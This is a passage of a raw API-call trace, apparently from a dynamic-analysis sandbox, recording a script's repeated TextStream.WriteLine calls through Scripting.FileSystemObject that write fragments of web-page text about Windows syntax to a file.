[0148.490] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.490] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762388, pBstrHelpFile=0x249c8758f60*="鮰졵ɉ") returned 0x0 [0148.490] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87563a8, pBstrHelpFile=0x249c8758f60*="鮰졵ɉ") returned 0x0 [0148.490] malloc (_Size=0x8) returned 0x249c884ed10 [0148.490] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.490] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.490] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.490] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.490] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.490] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.490] wcsncpy_s (in: _Destination=0x249ca4d480a, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.490] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.491] free (_Block=0x249c884ee60) [0148.491] free (_Block=0x249c884ed10) [0148.491] free (_Block=0x249ca4d5de0) [0148.491] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b670*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b670*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.491] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.491] SysReleaseString () returned 0x1 [0148.491] CoTaskMemFree (pv=0x249c8761b80) [0148.491] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.491] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.491] CoTaskMemAlloc (cb=0x28) returned 0x249c8761640 [0148.491] SysAddRefString () returned 0x0 [0148.491] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.491] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.491] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.491] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87563a8, pBstrHelpFile=0x249c8758f60*="馰졵ɉ") returned 0x0 [0148.492] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762f88, pBstrHelpFile=0x249c8758f60*="馰졵ɉ") returned 0x0 [0148.492] malloc (_Size=0x8) returned 0x249c884ee10 [0148.492] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.492] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.492] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.492] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.492] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.492] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.492] wcsncpy_s (in: _Destination=0x249ca4d48f6, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.492] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.492] free (_Block=0x249c884ee60) [0148.492] free (_Block=0x249c884ee10) [0148.492] free (_Block=0x249ca4d5de0) [0148.492] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b6c8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b6c8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.492] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.492] SysReleaseString () returned 0x1 [0148.492] CoTaskMemFree (pv=0x249c8761640) [0148.492] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.492] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.493] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.493] SysAddRefString () returned 0x0 [0148.493] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.493] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.493] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.493] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762f88, pBstrHelpFile=0x249c8758f60*="ꖰ졵ɉ") returned 0x0 [0148.493] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762b68, pBstrHelpFile=0x249c8758f60*="ꖰ졵ɉ") returned 0x0 [0148.493] malloc (_Size=0x8) returned 0x249c884ecc0 [0148.493] malloc (_Size=0x14) returned 0x249ca4478d0 [0148.493] _snwprintf_s (in: _DstBuf=0x249ca4478d0, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.493] malloc (_Size=0x4e) returned 0x249c884a540 [0148.493] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.493] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.493] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.493] wcsncpy_s (in: _Destination=0x249ca4d49e2, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.493] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.494] free (_Block=0x249ca4478d0) [0148.494] free (_Block=0x249c884ecc0) [0148.494] free (_Block=0x249c884a540) [0148.494] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b720*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b720*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.494] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.494] SysReleaseString () returned 0x1 [0148.494] CoTaskMemFree (pv=0x249c8761b80) [0148.494] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.494] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.494] CoTaskMemAlloc (cb=0x28) returned 0x249c87617c0 [0148.494] SysAddRefString () returned 0x0 [0148.494] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.494] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.494] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.495] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762b68, pBstrHelpFile=0x249c8758f60*="꘰졵ɉ") returned 0x0 [0148.495] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762e08, pBstrHelpFile=0x249c8758f60*="꘰졵ɉ") returned 0x0 [0148.495] malloc (_Size=0x8) returned 0x249c884ecc0 [0148.495] malloc (_Size=0x72) returned 0x249c884a540 [0148.495] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x39, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" XP and is listed separately on this page. Synta \"") returned 56 [0148.495] malloc (_Size=0xac) returned 0x249c884ee60 [0148.495] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x56, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.495] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x56, _Source="\" XP and is listed separately on this page. Synta \"", _MaxCount=0x38 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \"") returned 0x0 [0148.495] wcscat_s (in: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \"", _SizeInWords=0x56, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0148.495] wcsncpy_s (in: _Destination=0x249ca4d4a2a, _SizeInWords=0x53, _Source="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n", _MaxCount=0x52 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0148.495] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.495] free (_Block=0x249c884a540) [0148.495] free (_Block=0x249c884ecc0) [0148.495] free (_Block=0x249c884ee60) [0148.495] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b778*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" XP and is listed separately on this page. Synta ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b778*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" XP and is listed separately on this page. Synta ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.495] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.495] SysReleaseString () returned 0x1 [0148.495] CoTaskMemFree (pv=0x249c87617c0) [0148.495] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.496] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.496] CoTaskMemAlloc (cb=0x28) returned 0x249c87617f0 [0148.496] SysAddRefString () returned 0x0 [0148.496] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.496] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.496] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.496] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762e08, pBstrHelpFile=0x249c8758f60*="ꇰ졵ɉ") returned 0x0 [0148.496] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8757528, pBstrHelpFile=0x249c8758f60*="ꇰ졵ɉ") returned 0x0 [0148.496] malloc (_Size=0x8) returned 0x249c884edf0 [0148.496] malloc (_Size=0x14) returned 0x249ca4477f0 [0148.496] _snwprintf_s (in: _DstBuf=0x249ca4477f0, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.496] malloc (_Size=0x4e) returned 0x249c884a540 [0148.496] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.496] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.496] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.496] wcsncpy_s (in: _Destination=0x249ca4d4ad0, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.496] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.496] free (_Block=0x249ca4477f0) [0148.496] free (_Block=0x249c884edf0) [0148.496] free (_Block=0x249c884a540) [0148.497] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b7d0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b7d0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.497] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.497] SysReleaseString () returned 0x1 [0148.497] CoTaskMemFree (pv=0x249c87617f0) [0148.497] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.497] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, 